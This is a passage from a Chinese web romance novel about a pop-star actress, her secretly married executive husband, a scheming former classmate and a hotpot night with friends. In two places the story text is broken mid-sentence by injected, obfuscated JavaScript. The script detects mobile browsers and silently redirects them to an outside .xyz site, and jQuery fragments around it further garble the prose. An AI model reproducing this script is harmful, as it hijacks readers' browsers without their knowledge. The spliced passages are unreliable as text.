那里还堆着没来得及整理的购物袋。
“你们昨天逛街,没我的份?”
他眯着眼,语气戏谑。
温珍旎像做错事被逮住的小学生,目光不自在地闪了闪,干巴巴地找补道:“你又不缺什么。”
慈恒当然不缺什么,也不需要他的太太操持家务,整天围着丈夫的衣食住行打转。
但他就莫名地生出一种奇怪且别扭的感觉,忍不住想逗她。
“缺不缺是回事,送不送是态度问题。”
“……”温珍旎噎了一下。
不过她很会顺毛,视线扫到妆台上的眼镜,便取来帮他戴上。
“好吧,我知道了,下次一定。”
她哄人很有一套,只是轻轻环住慈恒的肩,踮起脚送上一个吻,就能轻易让人心软。
“算我的赔礼。”
慈恒有被哄到,心里受用,嘴上还是生硬道:“马马虎虎吧。”
她颈间的项链歪了,他将中间蓝闪蝶吊坠扶正。
“怎么总戴这条项链?”他好奇地问。
“因为是你送的呀。”
身边的人都知道,温珍旎很宝贝这条项链,没有商业活动的时候,几乎不会离身。
慈恒也是知道她这个习惯的,却从来没有问过为什么。
“我送你的可不止这一条。”
在紫金湾别墅,她有专门的化妆室,还有珍宝房,顶奢和收藏珠宝应有尽有。
温珍旎握住项链,语气认真,“这条是你送我的成人礼,也是第一条项链,意义大不同。”
这话说得慈恒嘴角快要压不住。
他拉过温珍旎的手腕,夫妻俩一起下了楼。
今天气温低,老太太醒得早。
得知慈恒回家没几天又要出差,老太太嫌他贵人事忙,唠叨了几句,还是让温珍旎跟着去送。
刚好温珍旎今天要去公司,就跟着慈恒一块出发。
车子启动,她打开微博,就看到了万蕾澄清的热搜。
万蕾的事情闹到现在,也是间接给她打了个预防针。
当年只顾着拿下慈恒,早点持证上岗了,完全没考虑过隐婚曝光的后果,如今看来,她得有心理准备了。
温珍旎转头观察男人的表情,“老公,你说如果哪天我们被曝隐婚,该怎么办?”
“曝光了就公布。”
埋首看平板的人连头也没抬,“你们公司合同我看过,规定成员不准恋爱,没规定成员不准结婚。”
“呃……”
玩文字游戏?
慈恒又想到了什么,哼笑道:“当初是你要隐婚的,我只是尊重你的决定。”
是她要求的隐婚没错,但她这么做的目的,也是为了保护他。
“我还不是怕你受影响。”
温珍旎嘟囔,“这个圈子里,芝麻绿豆大的事都会被无限放大,你也不想整天被媒体跟拍骚扰吧。”
以慈家操控舆论的能力,其实根本不需要她的保护。
不过慈恒听了,心里还是很触动。
知道保护他,说明在意他。
抬手揉揉温珍旎的脑袋,动作温柔。
“什么时候进组?”他问。
“剧组那边延迟了几天开机。我的戏份不多,很快就拍完了。”
他的指腹微糙,触感却莫名的舒服,温珍旎索性抱住他手掌,把脸颊抵在掌心来回蹭着,“你要去那边几天?”
“少则一周,多则半个月。”
头发散落了几缕,慈恒帮她曳到肩后。
“啊,要去那么久啊……”温珍旎扁扁嘴巴。
前面就到了,再不舍,也要下车了。
担心被人拍到,她让司机提前把她放在了路口。
“留意看车,不要乱跑。”慈恒叮嘱。
温珍旎应了一声,扶着车门回头,“要记得给我视频。”
今天降温降得厉害,外头寒风砭骨,她迅速关上车门,拢紧大衣,一气跑向对面的人行道。
隔着车窗,慈恒唇角翘起一丝弧度,看她远远地停在人行道,朝这里挥了几下手,然后头也不回地跑进冷风里。
6. 006
“珍旎姐,我就说去接你吧,外面这么冷,你还跑过来。”
公司楼下,橙子等了有一阵了,看温珍旎呵着一双冻红的手,连忙把包接过来,将提前买好的热豆浆塞过去,“快捂捂。”
就这么一小段路,酸风吹得眼睛都疼。
“这天变化无常,说下雪就下雪了。”
温珍旎直呼好冷,吸溜着鼻子,双手来回搓动着杯身。
进到大厅里面,暖气蒸腾,身上总算暖和起来。
到了休息区,橙子把保温袋里的早点摆出来,“姐,我买了你最喜欢的和牛蛋挞,还有鸡丝粥,快趁热吃。”
温珍旎拆开一次性饭勺,想起慈恒也没有吃早餐就出了门,于是拍了张照片发过去,提醒他别忘了吃饭。
大概在忙,对面没有立即回复。
温珍旎把手机放一边,吃了两口鸡丝粥。
热乎的,味道也鲜。
胃里被填满的瞬间,幸福感爆棚。
温珍旎满足地弯起眼睛,“下雪天,有一份热气腾腾的食物摆在面前,最是幸福不过了。”
“你也太容易满足了。”橙子打趣她。
“小橙子,活得简单,才能轻易获得更多的幸福。”
温珍旎是天生乐天派,任何时间,任何地点,都能找到简单的快乐。
比如说,看见一朵花,清晨的阳光,路边染红的枫叶林,她都会开心地和别人分享。
有也行,没有也可以,她不会强求,实实在在是个容易得到幸福的人。
橙子大学毕业就做了她的助理,算来也有两年了,到现在还时不时被她的性格打动。
尤其在这个拜高踩低的圈子里,遇见这样的老板,何尝不是她的幸运啊。
“珍旎姐应该很少有烦恼吧?”
橙子特别好奇,拍戏那么累,她从来没有见她抱怨过,乱发过脾气。
“我又不是神仙,烦恼当然也有的。”
温珍旎递给她一个蛋挞,认真地回想了一下。
“初中发育太快,班里的同学老是在背后蛐蛐我,造我的谣,还在论坛抹黑我。青春期的女孩子难免敏感些,突然就害怕被人注目,为此含胸驼背了好长一段时间。”
“后来呢?”橙子追问。
“我爸知道了,和学校反应了情况,我妈自责对我关心不够,从外地赶回来陪了我整整一个暑假。”
“你爸妈对你挺好。”
光是听她说,橙子就已经很羡慕她的家庭氛围了。
想起网络上那些不实言论,她愤愤地咬了口蛋挞,“那些喷子总说你缺少经历,没有阅历,照我看,根本就是他们缺爱,心里扭曲,才找存在感博眼球。”
“无视他们就好啦。”
说她缺少经历,其实没什么不对。温珍旎不否认这点。
小时候她有父母疼爱,即便他们最后感情淡了,离了婚,也依然在用自己的方式爱她和弟弟。
后来她以组合出道,很顺利地走到了事业巅峰。
至于结婚,更是有和睦的婆家相处。
她的人生可谓是顺风顺水,几乎没有经历过大风大浪。
因为一直在有爱的家庭氛围里,感受到的都是阳光善意,那些不好的声音,她能做到视而不见。
“蛋挞好吃吗?”她问。
橙子点头,蠕动着腮帮子,“就是太贵了。”
“姐以后买给你。”
“谢谢姐。”
橙子抱着她说谢谢,然后麻利地收拾了桌上的打包盒,“浩然姐该来了,我们快过去吧。”
温珍旎帮她收拾完,两人往外面走,看到靠近门口的沙发位置坐着一个年轻女人。
穿了件干枯玫瑰粉皮草外套,下身是棕色开叉皮裙,脚上套了一双卡其色短靴。
五官淡雅,眼皮薄薄的,不算惊艳,属于氛围感那一挂。
看着面熟。
“今年的新人?”
出了休息区,她问橙子。
橙子:“嗯,公司要签几个新人,其中一个就是她。”
5G冲浪的橙子,消息最灵通了。
“她叫余蓝飞,原来是仿妆博主,后来转型当演员了,上个月因为一部网络剧小火了一把,不少剧组在找她试戏。”
橙子悄声和她八卦,“她黑热搜挺多的,就这几天,爆了好几个黑料。”
在娱乐圈里,潜规则都不算新闻了,所谓黑料,搞不好都是一些无关痛痒的小事。
温珍旎随便听听算了,没往心里去,上楼之后,就去了浩然姐的办公室。
电影剧本拿到了,这个角色已经是板上钉钉。
浩然姐把剧本拿给她,交代她要好好演,“时间紧迫,你尽快熟悉剧本,找一下感觉。”
“OK,没问题的。”
温珍旎翻开剧本,大致过了一遍。
《燕南飞》这部电影,背景定位在民国时期的北平,主要讲诉孙黄两个家族的恩怨。
她要扮演的黄家二小姐,一名容貌秀美的女大学生,因为嫉妒女主堂姐而从中作梗,几次三番挑拨男女主的关系,致使二人误会加深,错过彼此。
不愧是国家级编剧打磨的剧本,笔力就是不一般。
这个角色虽然戏份不多,但立体饱满。如果理解到位,演技跟上,绝对出彩。
她好像也明白唐雨的顾虑,就目前的舆论环境而言,这是一个反派人物,会给她带来巨大的争议。
温珍旎却觉得有意思,说不定还会是一次全新的体验。
熟悉了一遍剧本后,温珍旎洗了澡,爬上床,才看到慈恒的未读消息。
温珍旎翻身趴在枕头上,懒得打字,索性就拨了视频。
大概是才回房间,背后昏暗的灯光晃了晃,然后露出慈恒线条分明的下颌线。
“现在有时间回消息了?”
温珍旎:“……看剧本呢,忘了。”
镜头对着慈恒的脖子,随着松开领带的动作,上方的喉结跟着滚动了几下。
性感归性感,但直男视角下,再帅的脸也让人无法忍受。
这张脸不是这么用的。
温珍旎嫌弃道:“慈恒,镜头歪了,我要看你的脸。”
慈恒乜她,“你想看就看,当我什么人。”
“我老公啊。”
温珍旎理所当然,“老公给老婆看,合情合理。”
“哼。”慈恒正经地板着脸,看似不情不愿,还是把镜头立了起来。
“不睡觉在做什么?”
“想你呗。”温珍旎抱着手机滚来滚去,“一日不见如隔三秋。”
“这三年有多少个三秋,怎么没听你说过一次。”
她的甜言蜜语张口就来,跟吃饭喝水一样平常。
反驳归反驳,慈恒也确实吃她这一套。
摘了眼镜,他手里翻动着文件,还在忙的情形,“今晚还有事,没空陪你聊天。”
“哦,好吧……”
“那你记得吃饭,别总熬夜。”
他仗着年轻,身体素质好,在海外任职的时候,忙起来常常忘记吃饭休息。
要不是有体检报告,温珍旎不禁怀疑他有霸总典型的胃病。
说了要忙事,慈恒却没有挂断视频。
温珍旎无聊到在镜头那边昏昏欲睡,慈恒正要催她去睡觉,秘书林诺忽然走了进来。
“慈总,陆总助请您下楼。”
慈恒把文件合上,“嗯,知道了。”
“很忙吗?”迷迷糊糊的,温珍旎好像听到林诺的催促声了。
“要去见几个长辈。”慈恒重新戴回眼镜,见陆方洋在房外频频探头,他抬指示意,提前结束了视频。
这次来北城,主要是处理工厂某项目数据被核心成员出卖给境外一事。
坐落北城的这家工厂至今有三十多个年头了,主要负责研发和生产飞行器。
因为给国家空中飞行提供飞控技术支撑,有技术上的密切合作,该成员的行为被及时监测。察觉事情败露,该成员连夜出逃,最终在北城机场被拘捕。
现在工厂的部分成员被安全部传唤配合调查,虽然相关新闻还没有全面流出,但北城这边肯定是要高层出面的。
出了这样的事,北城负责人脱不了责,但涉及到集团总部名誉,慈恒必须亲自走这一趟。
下午两点到的北城,整整一个下午都在不停地见人,交涉,配合调查。
晚上和商政两界的长辈吃完饭,都快到凌晨。
这次窃密事件给公司造成了一定的损失,好在发现及时,尚在可控范围,没有威胁到重要机密,算是有惊无险。
他回国接手泰华,公司的元老股东们都盯着他的一举一动。
这次事出突然,他能处惊不变,用短短一天时间将事情妥善处理。
答卷很漂亮,公司的老狐狸们也认可了他的处事能力。
应酬结束后,慈恒和高层把几个长辈送出酒店。
困倒是不困,就是喝太多酒,浑身不舒服。
他揉着眉心,听见林诺说:“慈总,蜂蜜雪梨汤炖好了,让人送到房间吗?”
蜂蜜雪梨汤,那是什么东西?
慈恒想都没想,摆手拒绝,“我不喝甜腻的东西。”
“是太太吩咐做的。”
林诺是他私人秘书,从三年前去国外就一直负责照顾他的饮食起居,可以说,他对慈恒的喜恶了如指掌。
猜到他会拒绝,林诺笑着解释,“太太知道你要应酬到很晚,免不了要喝酒,特意让后厨炖的,让你喝完再睡。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861604|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“啧!我听到什么了。”
跟进来的陆方洋一脸震惊。
他听见什么了?这真的是传说中没有感情的塑料夫妻!
他羡慕得眼睛都红了,“蜂蜜雪梨汤有缓解的功效,慈总要是不喜欢,赏给我也不是不可以。”
还怪会想的。
慈恒扯了扯唇,“你没自己的老婆?”
陆方洋:“……”
老板,你是会扎心的。
“明天的行程安排好了?”慈恒问。
陆方洋把行程表拿给他,正色道:“安排妥了,又是连天转。”
慈恒看过行程表,改动不重要的行程,又签署了几份重要文件,回到套房后,喝完雪梨汤倒头就睡。
早上七点,林诺准时来敲门。
在餐厅里用餐的间隙,总助陆方洋带着文件来请他签字。
“X系列飞控系统通过了第一轮试验,项目方案也经过调整,已经完善,专家评估之后,可以继续推进,这个项目的完成时间可能比我们预期的要早。”
陆方洋是慈恒的得力助手,他的转述一贯清楚,慈恒没有要补充的。
浏览完文件,他签上字,“准备一下十点钟的会议。”
陆方洋比了个OK手势,把文件收进公文包,突然神神秘秘地说:“酒店三天后要举行春季艺术品拍卖会,慈总要不要给太太带礼物?”
慈总的太太他没见过,收藏古董文物的喜好倒是摸得一清二楚。
慈恒深看他一眼,没说话,视线却指向了林诺。
陆方洋离开后,林诺把平板上搜到的官方信息给他看。
“明天就是预展期,有一枚祖母绿胸针,太太应该会喜欢。”
艳绿色的水滴形胸针,颜色和设计很亮眼,确实不错。
他放大图片,正要观察胸针的细节,忽然听到有人叫他的名字。
“慈恒……真的是你?”
姜琳踩着高跟鞋走过来,落落大方地拉开餐椅,坐在他了对面。
和以往的职业形象不同,她今天穿了浅色连衣裙,打扮相当时髦。
“方才看着像你的背影,没想到真的是你。你是来北城出差吗?”
除了惊讶,姜琳更多是惊喜。
“你到北城工作了?”出于礼貌,慈恒问了一句。
“不是,表妹在这边,过来玩两天,明天就回天海。”
表妹去洗手间了,她在餐厅坐等,居然就看到了他。
“难得休息,是该放松。”慈恒用餐巾慢条斯理地擦着手。
明明就是很随意的动作,到了他这里,莫名带着让人着迷的矜贵。
就很难不让异性产生好感。
何况还有多年的同学情谊在。
姜琳晃了神,掩饰着去捋落在胸前的一缕头发,“难得碰见,我请你吃个便饭吧。”
“恐怕不行,最近的行程排满了。”
这确实是实话。
姜琳眼里的失望一闪而逝。
不过没关系,来日方长,这次不行,还有下次。
“我们公司正好竞标了泰华的一个重要项目,来日打交道的时间会更多。”
慈恒抬眸,“云顶度假区的项目?”
“对,这个项目是我回国参与的第一个项目……”
她还想再说下去,上前来的林诺礼貌一笑,打断了她,“抱歉,姜小姐。”
然后弯腰附在慈恒耳边,请示道:“慈总,时间到了,我们该出发。”
她余光瞥到等在远处的一众工作人员,只好起身,“那我不打扰你了,咱们回天海再聚吧。”
跟慈恒告了辞,她从餐厅出来,表妹已经从洗手间回来,正站在走廊上,伸长着脖子往餐厅玻璃里看。
“他谁啊?”
上了车,表妹就迫不及待地向她逼供。
她当然看到了慈恒,如果是歪瓜裂枣的男人,她才不会多看一眼。
“泰华集团现在的掌舵人慈恒。”
姜琳满足了她的好奇心,其实她自己也有那么一点不自知的虚荣。
“是我知道的那个泰华吗?”
表妹瞪大了眼睛,“真人居然帅成这样!有钱有颜,还有能力,这合理吗?”
不过她的重点是,“姐,你们还有这层关系,怎么从来没听你说过?”
“嗯,我们高中同班,一起做过实验,参加竞赛。”
“哇,姐,你捡到宝了!”表妹激动地搓着手。
但很快她又反应过来,“可是我听说他都结婚了。”
结婚了又如何,结婚了还能离婚。
现在社会,婚姻自由。
在妹妹前面,姜琳完全不掩饰自己的心思,“没有感情的豪门联姻,怎么可能长久。”
7. 007
为了下戏后方便休息,温珍旎搬去了香山路的大平层。
这套公寓是三梯一户设计,五百多平的平层面积,是当初结婚时,慈家的聘礼之一,仅作为她下戏后的暂时居所。
临走前,慈奶奶很不舍,但是心疼她来回奔波,身体吃不消,还是放她去香山路暂住。
进组前的日子尤其珍贵,温珍旎敞开肚皮海吃了几顿,然后抽了个空,把头发染回黑色。
电影是临时换的人,透出风声就是这几天的事。
剧本泄露得很快,粉丝觉得角色不讨喜,为了逼她辞演,在微博广场上大骂工作室,骂导演,甚至骂温珍旎,场面闹得不大好看。
工作室选择了冷处理,没作任何回应。
直到开机,路透照陆续放出,温珍旎的状态前所未有的好,拉回了一波期待值,那些不好的声音才消失了大半。
“还得是我姐啊,这次的状态好到爆了,热搜上的黑稿真路人都在帮忙说话呢。”
拍戏的间隙,橙子有帮温珍旎记录日常,录制花絮,好作为后续的宣传素材。
趁着这会儿休息的时间,她把站姐拍的几套图拿给温珍旎看。
背景是古朴的四合院外,年轻女孩撑一把红色菲菲伞,穿着学生样式的旗袍,留着那个时代的发辫。
她从石梯上袅袅亭亭走下来,定格的一幕,是仰头看天上的落雨,镜头捕捉到女孩的目光,干净纯粹,尚未被俗世侵染。
为了追求真实,女演员脸上的底妆打得很薄,几乎和素颜差不多,就好像真的回到了那个年代。
看见这样陌生的自己,温珍旎也难得地晃了一下神。
“这些年开演唱会,接代言,无缝进组,都没功夫喘口气。现在活动少了,有时间休息,状态自然而然跟着回来了。”
在粉圈里,资源减少、资源降级意味着被资本放弃,即将过气,是会被嘲的。
她出道五年,红了五年,公司却在组合最火的时候安排了单飞。
橙子想不明白为什么,有点郁闷,“姐,你就不担心吗?”
“担心什么?”
“下部戏啊。姐还没提续约的事,公司把好资源都给了其他成员,粉丝的心态都要炸了。”
橙子唉声叹气,眉头快皱成小老太了,“郫县昨天开了二十多个黑帖,我开着小号跟人对线了一整晚,人都要无了。”
小姑娘捏着拳头,语气忿忿。
温珍旎勾过她的脖子,“看不出来,我们小橙子的战斗力很强嘛。”
橙子更郁闷了,“别给我戴高帽了。”
温珍旎吓唬她,“内娱生态环境本来就不好,对流量尤其充满偏见,如果每件事都要计较,迟早气出乳腺增生,搞不好还得癌呢。”
“不会吧。”
橙子还真被唬住了,赶紧吐气,深吸气,嘴里重复着,“我不生气,不生气……”
温珍旎捏她的脸,“好啦,这部戏拍完,我请你吃好吃的,包管你忘记所有烦恼。”
说到吃,橙子眼睛又亮了,完全没跟她客气的,“我不会给姐省钱的,我要吃烤星鳗和南蛮鸡肉饭。”
温珍旎:“我就知道,你惦记那家日料不是一天两天了。”
橙子吐了吐舌头。
场务过来提醒开工了,温珍旎脱下羽绒服,把手机给橙子。
走到一半,掉过头来说:“别让浩然姐听到你抱怨,小心挨骂。”
橙子把头点了又点,小声嘀咕,“她亲自跟颜可儿的组呢,才不会听到。”
**
今天拍的是棚内戏,大家状态不错,完成得很顺利,因此早早地收了工。
温珍旎卸妆换了戏服,和剧组一起出来吃饭,晚上工作人员跟着保姆车送她回的住处。
天海市从倒春寒开始,到现在已经持续了一周的低温天气。
在城芯留白地日益减少的今天,香山路这套占据繁华轴线的大平层,空旷得更冷了。
橙子离开前开了地暖,热意漫上来,房间的冷意消散。
拍了一天戏,累还是累的,温珍旎懒得动,衣服也没换,倒在沙发上给慈恒打视频。
铃声响过一轮,没接。
倒是奚淼打了电话。
“旎宝,我和明霞到你家楼下了。今晚陪你睡怎么样?”
温珍旎一下从沙发上弹坐起来。
奚淼一般说这话,都是不留余地的。以她对密友的了解,现在八成在家门口了。
“你等我一下。”
她穿上拖鞋,小跑着去开门。
门打开,奚淼果然举着电话,大喇喇地站在门外。
那双嵌着标志狐狸眼的脸上,神情先是一愣,接着便似蜜袋鼯张开她的四肢。
“旎宝,我的宝,想姐们了吗?”
奚淼挺着她的36D怼上来,很扎实的分量,砸得温珍旎眼冒金星,呼吸一窒。
“……这沉重的爱。”
身后拎着水果的明霞见怪不怪了,笑着摇摇头,绕开她俩先进了屋。
“我的宝,才几天没见,你咋又瘦了?果然明星不是谁都能当的。”
奚淼拉着她左看右看,一顿肉眼体检。
温珍旎好不容易才从她伟岸的胸口挣脱,呼吸了一口气。
“最近去哪野了?”她问。
“非洲大草原,拍了两天野生动物,一个人没什么意思,就巴巴地滚回来了。”
奚家是能源开采发的家,国内有名的老牌富豪,最不缺的就是钱。
奚淼是奚家这一辈最小的,又是唯一的女孩,家里老人看得跟眼珠子似的,怕她吃苦受累挣那几个辛苦钱,大学毕业就没让上过一天班。
于是,生下来就躺赢的奚大小姐过上了举办各种派对、时装周看秀、满世界度假、三天两头换男友的富婆生活。
后来这种日子过烦了,又捡起摄影的爱好,不定期在社交平台分享她的作品,到现在也是积累了几十万粉丝的腰部博主了。
“还别说,你这套房子是真不错。”
奚淼脱了大衣,这里看看,那里瞅瞅,明明都是这里的常客了,还一副刚来的新鲜感。
在切水果的明霞笑她,“想要还不简单,回家跟你爷爷开个口。”
“让我爸知道该骂我败家了。”
奚淼环视了一圈,一屁股钉在沙发上。
沙发里堆满了东西,她拎起一条裤袜,再看扔得横七竖八的衣服,啧地一声。
“啧,真该让慈恒看看你的猪窝。”
“没那么乱吧。”她一个人住,懒惯了,乱是有点乱,也不至于是猪窝吧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861605|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温珍旎不服,“在紫金湾我也是这样过的,慈恒可没说什么。”
奚淼跟明霞交换一个眼神,不给面子地戳穿她,“少奶奶,紫金湾的佣人就差把饭喂你嘴里了,哪里用得着你收拾房间。”
而且她也不相信,“慈恒那娇贵公子哥有洁癖吧,能忍受你的猪窝?”
“人都是会改变的,你这是偏见。”
温珍旎过来把衣服收进脏衣篮,拿去了家政间。
“行,你老公样样都好。”
奚淼不逗她了,趴在沙发背上,看着她说:“我还没吃饭,咱们煮火锅吃吧。”
“家里没有现成的食材,可能要去一趟商场。”
温珍旎只在这边临时过夜,还没开火做过饭,冰箱里没准备新鲜食材。
“不用那么麻烦,我让厨师准备了,这会儿快到了吧。”
奚淼刚说完,门铃就揿响了,明霞赶紧去开了门。
火锅送到了,连锅带食材,两个服务生推着餐车。
“奚小姐,您预定的牛蛙火锅。”
按奚淼的要求,他们把餐桌布置在落地窗前,摆上带来的餐具,和洗好分装的食材,然后训练有素地撤离。
食锅底是用最好的材料现熬的,汤汁浓郁,香气扑鼻,馋得温珍旎流口水。
“你们喝点什么,红酒要不要?”
奚淼轻车熟路地打开酒柜,拿了一瓶白兰地。
所以她只是礼貌性地问了一嘴。
明霞表情复杂,“烈酒配火锅,你认真的?”
“这次喝点不一样的。”奚淼变戏法一样,从包里搜出一瓶雪碧和两颗柠檬,“我刚学的新喝法,给你们露一手。”
柠檬搭配白兰地,口感好不好不知道,组合倒是很新奇。
“能好喝吗?”
看她把鼓捣出来的怪东西送到面前,明霞表示怀疑。
已经喝上的温珍旎回味一番,认真地评价道:“我觉得还可以欸。”
明霞将信将疑,浅浅地抿了一口。
柠檬的酸味中和了烈酒的辛辣,调制出来的酸甜口恰到好处。
的确是不一样的口感。
而且不容易醉。
“对了,淼淼,你那个小男友呢,去非洲怎么没见带上?”
明霞随口问起。
奚淼交了个又高又帅的男模,年纪比她小五岁,走哪带哪,上了好几次娱乐新闻。
唯独这次去非洲,没有带在身边。
“分了。”奚淼脸上看不出半点难过和不舍,“太粘人,受不了。”
“什么时候的事?”
“就昨天。”
这速度,温珍旎都诧异,“坚持的有两个月吗?”
明霞笑话她,“一个男朋友两个月,那还是奚淼嘛。”
奚淼的心里没有芳草,只有取之不尽的大海,“富婆就要有富婆的觉悟,优质的小鲜肉那么多,不行就再换,干嘛要在一个男人身上吊死。”
汤锅里下了蟹包鱼丸和龙虾,咕噜咕噜,煮得冒泡。
温珍旎吃着烫好的鲜鱿鱼,嘴里塞得满满的。
两个好友发表感情观念,她不插嘴,只管点头附和就是。
看她一声不吭的,奚淼转头问:“外头传你跟慈恒会离婚,传得跟真的一样,到底是怎么个事?”
8. 008
“唉。”温珍旎叹了口气,一脸无奈。
怎么见到她的每个人,都要追问她是不是准备离婚了。
“结婚前说好了的,和他结婚是要真心实意过日子的,但是要我等他三年,同意的话就结婚。”
“所以你就答应了?”奚淼觉得不可思议。
温珍旎不理解,“干嘛不答应,好的资源可遇不可求,我不要,不就便宜别人了。”
明霞捞了一颗鱼丸给她,实话实说,“你们夫妻长期分居两地,也不怪别人多想。”
“分居没什么不好。”奚淼两手一摊,“不回家的老公,花不完的钱,还是两份的钱,旎宝还不到三十,就已经活成了女人最期望的样子。”
“……”那些捕风捉影的事,温珍旎不想作过多的解释,“都是过去的事了,他既然回来了,我也要收心,正式回归婚姻生活。”
奚淼浅酌着酒,“话说回来,你就没有担心,他在国外把心玩野了,惹一身风流债?”
这个圈子里貌合神离的联姻夫妻多了去了,各自玩的有多花,大家都是心照不宣罢了。
“那你就小看我男人了。”
不知道为什么,温珍旎就是打心底里相信慈恒,对他是一万个放心,“他这样的家庭出身,什么富贵名利没见过,怎么会被花花世界轻易诱惑。”
“而且我也不差呀。”
她掰着手指列举,“我漂亮,知性,追求进步,情绪价值满满,还能赚钱养家。你们说,我这样优秀的女孩子,是不是只有基因更优秀的男人才配得上?”
虽然带了一点夸张的成分,明霞还是无比赞同地点点头,“珍旎说的对。”
看着天真的两个好友,奚淼嫌弃地摇头,“感情这东西,果然使人心盲。”
认识的这些年,她想破脑袋都没弄明白,年少成名的温珍旎到底看上慈恒哪点。
那个人,闷骚,直男,不可一世。
哪怕有一张好皮囊,一个可以躺平的身家,也不该是唯一选择。
“你们现在夫妻生活还和谐吗,回国有实践吗?”
相比虚无缥缈的幸福,奚淼还是更关心好姐妹的□□,“久旱逢甘露,这几天没把你榨干?”
丸子很烫,温珍旎嘴皮被烫了一下。
虽然习惯了奚淼的直来直去,但两人还是被她的口无遮拦给噎住。
看她们两脸懵逼的样子,奚淼极度震惊,“不会是盖着棉被纯聊天吧。旎宝,是你不行,还是他不行?别不好意思,我认识权威的男科医生,介绍给你们认识。”
温珍旎:“……”
哪里是不行,是太行了。
她支吾了一下,生硬地转移话题,“……我要吃无骨鹅掌。”
鹅掌在明霞那边,明霞顺手拨进火锅,“别显摆你的□□经了,赶紧吃吧,珍旎明天一早还拍戏呢。”
再说下去,该是限制级议题,少儿不宜了。
吃完火锅,时候也不早了,几个人把垃圾简单收拾了一下,餐桌就等明天工人来了再打扫。
“好久没有这么痛快地聚过了。”
洗漱后,酒足饭饱的三人并排躺在客卧的大床上。
聊起在大学里的时光,喝多了的奚淼像倒豆子似的,话匣子止不住。
说得最多的是她,最后先睡的也是她。
听着旁边的鼾声,温珍旎小声问明霞:“你工作室筹备得怎样了?”
“差不多了,选个良辰吉日就准备开业。”
明霞学的服装设计,比她们大两岁,不是同级生。
她们是在公益社团认识的,因为性格合得来,来往多了,自然而然成了要好的朋友。
大学毕业后,明霞在国内一家知名服装公司做设计师,凭自己的能力大小奖项拿了不少,在业界崭露头角。
积累一定资源后,她深思熟虑,决定创立自己的品牌,于是在去年辞职,开始着手筹备服装工作室。
奚淼入股了她的工作室,资金不用愁,温珍旎这里可以带给她大把时尚资源。
“开业的时候提前告诉我,我一定捧场。”
“不会忘了你的。”明霞赶她去睡觉,“明天还要早起,赶紧睡吧。”
演员凌晨三四点起床,深夜收工都是常态,能多休息一会都是赚到。
温珍旎喝的酒不多,但也有些头晕,她跟明霞道了晚安,回了主卧休息。
橙子是早上六点过来的。
发现她半夜偷吃了火锅,整个人都抓狂暴走了。
“姐,你怎么就管不住嘴呀!”
“要是让浩然姐知道你胡吃海喝,非骂死我们俩不可。”
“快,让我看看你的脸,千万别水肿。”
温珍旎困得眼睛根本睁不开,就被橙子从被窝里扒拉出来。
“橙子,再让我睡一分钟……就一分钟。”
她软着身子要躺回去,橙子眼疾手快地把人拽住了。
捧着脸左看右看,还好还好,问题不大。
橙子拍着胸口松了口气,浮肿不明显,用热毛巾敷一下就好了。
“快起来吧,我的姐,再不快点,咱们早饭都没得吃了。”
也不管她清没清醒,橙子把人扒出来,按在洗漱台前,“还有一个小时的时间,得速战速决,今天就不做有氧运动了。”
挤好牙膏的牙刷塞到她嘴里,接着放好热水,打湿毛巾,用热毛巾简单消了个肿。
橙子把妆前面膜贴上来时,温珍旎还在迷迷糊糊地打哈欠。
有电话进来,她摸索着划开接听键。
“喂。”
手机贴在耳边,熟悉的低沉男声像电流般流过,心脏都麻麻的。
“搬到香山路了?”
“嗯。”
鼻音沙沙的,嗓子里也发干,她接过橙子给的矿泉水灌了一口。
冰凉的水涌进胃里,冷和热刺激胸腔的那一刻,终于彻底清醒了过来。
“嗯?你、你回来了?!”
她看了眼屏幕上的时间,才六点过半。
这个点往回赶,不太像是他的作风。
“回来怎么都不提前跟我说呀?”
她捂着话筒,用气声抱怨了一句。
“怎么,我见不得人?”
慈恒凌晨回的天海,刚落地,还没休息,他让司机下班了,自己开车准备回樟园,却被告知温珍旎搬到了香山路。
打这通电话时,宾利慕尚刚倒进地下车库。
“不是见不得人,是不行。奚淼和明霞在我这儿呢,你上来不方便。”
昨晚造完的火锅还没收拾,而且橙子也在。
他要是露脸,她要怎么解释一个活的大男人出现在她的住宅。
朋友?哥哥?
说一个谎,就要用一百个谎言去圆。
想到要解释一箩筐,她就头皮发麻。
“那个,你别动,我马上下来找你。”
她拿了件羽绒服就出门,见对面不吭声,便小声跟他撒娇,“好不好嘛?”
电话那边气息粗重,很明显地沉了一口气。
停顿几秒钟后,还是妥协了,“车库。”
“好,给我两分钟。”
温珍旎开了门,身后橙子追出来,“姐,你去哪啊?时间来不及了。”
没时间解释了,她丢下一句:“你收拾好东西,我去车上等你。”
她把羽绒服帽子戴上,从电梯出来,一眼看到车位上挂了三地牌的宾利慕尚。
捂着帽子小跑过去,才发现慈恒坐的主驾。
“怎么自己开车?”
慈恒示意她上车,“给司机放假。”
温珍旎钻进副驾,靠过去搂他的手,“落地就来找我了?是不是想我了?”
慈恒轻轻咳了一声,口是心非道:“奶奶要我来的。”
温珍旎也不恼他,脸颊蹭了蹭他的肩膀,“可我想你呀。”
尾音软软地上扬,是她撒娇时一贯的语气。
虽然是张口就来的甜言蜜语。
